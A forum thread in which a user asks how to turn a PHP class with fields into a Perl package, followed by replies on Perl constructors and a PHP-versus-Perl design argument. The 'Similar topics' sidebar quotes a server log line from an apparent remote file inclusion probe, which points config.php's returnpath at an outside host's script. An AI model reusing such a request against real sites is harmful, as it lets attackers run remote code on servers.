473,804 Members | 3,196 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Php/perl class/package field definition

My brain must be running slow because of New Year, but I'm missing the
trick to define fields for a package.

In php, I'd do:
----
<?php
class MyObj{
var $param1;
function MyObj(){$this->param1 = "Hello";}
function Hello(){echo $this->param1;}
}
$test = new MyObj;
$test->Hello();
?>
----
However this doesn't seem to be the correct perl translation:
----
package MyObj;
my $param1 = "";
sub new {
my $newobject = {};
bless $newobject;
my $param1 = "Hello";
return $newobject;
}
sub Hello {
print my $param1;
}
$test = new MyObj;
$test->Hello();
----
Ideas anyone ? (besides switching to php, which I unfortunatly can't).

PS: I tried posting on the perl newsgroup first, but Google Groups
didn't seem to be in the mood ("comp.lang.per l doesn't exist", rofl).

Jul 17 '05
13 1941
Janwillem Borleffs wrote:
Janwillem Borleffs wrote:
Nah, you had it right. But I still want to know from you why think
that your syntax is better.


The difference appears to be that my constructor adds an anonymous
hash to the object, which isn't used anymore, while your constructor
doesn't.

In that context I can see why you think my perl coding is bad...


:-). It's a nice way to create a singleton, just returning the __PACKAGE__
;-)

I didn't do the use strict; use warnings; since it's a code snippet. In
real world stuff I use it, as anyone else should (unless they really know
what they are doing).

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced programmer available: http://castleamber.com/
Happy Customers: http://castleamber.com/testimonials.html
Jul 17 '05 #11
Wildpeaks wrote:
> PS: I tried posting on the perl newsgroup first,
> but Google Groups didn't seem to be in the mood
>("comp.lang.pe rl doesn't exist", rofl).

http://groups.google.nl/groups?hl=nl...comp.lang.perl


I *can* view the ng, but when posting, it was refusing
to post at the last step.

But since this is very basic Perl, the only reply
would have been RTFM anyways ;-)


I had RTFM but hadn't find the answer to that precise question,
therefore the post, heh. I post in ng only in last resort.
Ah, PHP is so much easier :-)


It's not. But if you are fluent in language A, and learning language B,
language A is much easier ;-)

PHP is extremely badly designed.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced programmer available: http://castleamber.com/
Happy Customers: http://castleamber.com/testimonials.html
Jul 17 '05 #12
> It's not. But if you are fluent in language A, and learning
language B, language A is much easier ;-)
Often true :-) but not always: the thing is, I actually started by perl
some years ago (and like everyone who learns a new language, I wanted
to use perl for everything :-D
However, after that, I learnt php, which I now use for everything I was
using perl for. Even worse, I totally forgot how to write perl (which
explains that I sometimes ask stupid questions unfortunatly).

PHP is extremely badly designed.


I wouldn't be able to tell if it's bad designed or faster/slower, I can
only tell as developer that in the everyday programs, I find it more
intuitive, also because PHP.net's documentation is imho very good. But
that's just my opinion. Other people only like C or ASP instead
(however I do prefer C over perl too).

Jul 17 '05 #13
Wildpeaks wrote:
It's not. But if you are fluent in language A, and learning
language B, language A is much easier ;-)
Often true :-) but not always: the thing is, I actually started by
perl some years ago (and like everyone who learns a new language, I
wanted to use perl for everything :-D
However, after that, I learnt php, which I now use for everything I
was using perl for. Even worse, I totally forgot how to write perl
(which explains that I sometimes ask stupid questions unfortunatly).


If you forgot how to write Perl in a short time, you never really
learned the language.
PHP is extremely badly designed.


I wouldn't be able to tell if it's bad designed or faster/slower


extremely bad designed
quite likely slower
, I can
only tell as developer that in the everyday programs, I find it more
intuitive,
Probably because you never really learned Perl in the first place.
also because PHP.net's documentation is imho very good.
IMNSHO it's even worse than the language design. Especially the so
called user comments, half of it are garbage.
But
that's just my opinion. Other people only like C or ASP instead
(however I do prefer C over perl too).


You can not just prefer A over B. You pick a language based on how good
it helps you to get the job done. Hence, I sometimes have to use PHP.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced programmer available: http://castleamber.com/
Happy Customers: http://castleamber.com/testimonials.html
Jul 17 '05 #14

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

13
2712
by: Wayne Folta | last post by:
I've been a long-time Perl programmer, though I've not used a boatload of packages nor much of the tacky OO. A couple of years ago, I decided to look into Python and Ruby. Python looked OK, but not that different. I did like the indent-as-group idea, which was different. Ruby looked very cool. But it was impossible to get good documentation. It seemed like a Japanese cult with a few western initiates. Well, MacOS X ships with Perl,...
42
4121
by: Fred Ma | last post by:
Hello, This is not a troll posting, and I've refrained from asking because I've seen similar threads get all nitter-nattery. But I really want to make a decision on how best to invest my time. I'm not interested on which language is better in *general*, just for my purpose. My area of research is in CAD algorithms, and I'm sensing the need to resort to something more expedient than C++, bash scripting, or sed scripting.
2
1690
by: Xah Lee | last post by:
© # -*- coding: utf-8 -*- © # Python © © # in Python, one can define a boxed set © # of data and functions, which are © # traditionally known as "class". © © # in the following, we define a set of data © # and functions as a class, and name it xxx © class xxx:
5
5773
by: John Smith | last post by:
Can someone point me to an example of how to implement and access the kind of object shown below? Most of the examples if found are an object that contains one other object. I need to create an object that contains a hash of sub-objects each sub-object is made up of a number of different objects and an array of an object type. Object1 contains scalars
21
3057
by: CBFalconer | last post by:
I released this under GPL some time ago, (2003-May) and have been advertising it occasionally here, where it seemed applicable. I have received no bug reports. I have just gotten around to writing a usage manual for it, which follows. I would like some opinions on it. Please don't quote the whole thing back at me, a short excerpt followed by your pithy commentary will do nicely. I am off for an operation Monday, so I won't be...
0
9750
by: Kirt Loki Dankmyer | last post by:
So, I download the latest "stable" tar for perl (5.8.7) and try to compile it on the Solaris 8 (SPARC) box that I administrate. I try all sorts of different switches, but I can't get it to compile. I need it to be compiled with threads. Anyone have any wisdom on how best to do this? Here's a transcript of my latest attempt. It's long; you might want to skip to the bottom, where I try "make" and the fatal errors start happening.
13
3267
by: Otto J. Makela | last post by:
I'm trying to install to php the Perl-1.0.0.tgz package (from http://pecl.php.net/package/perl, enabling one to call perl libraries) to a pre-existing Solaris system. Unfortunately, the attempt fails in a rather dramatic way, spewing out thousands of "relocation remains"... I'm somewhat lost on what to do next, the documentation that came along with the Perl package is somewhat sparse. Anyone have suggestions? % uname -a
4
10630
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
11
6197
by: bthalapathi | last post by:
I have written a script to connect the mysql db #!/usr/bin/perl -w use DBI; #definition of variables $db="MYTEST"; $host="localhost"; $user="root"; $password="rootpass";
0
9571
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10561
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
0
10318
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
0
10069
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
1
7608
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
5505
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
5639
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4277
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3803
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.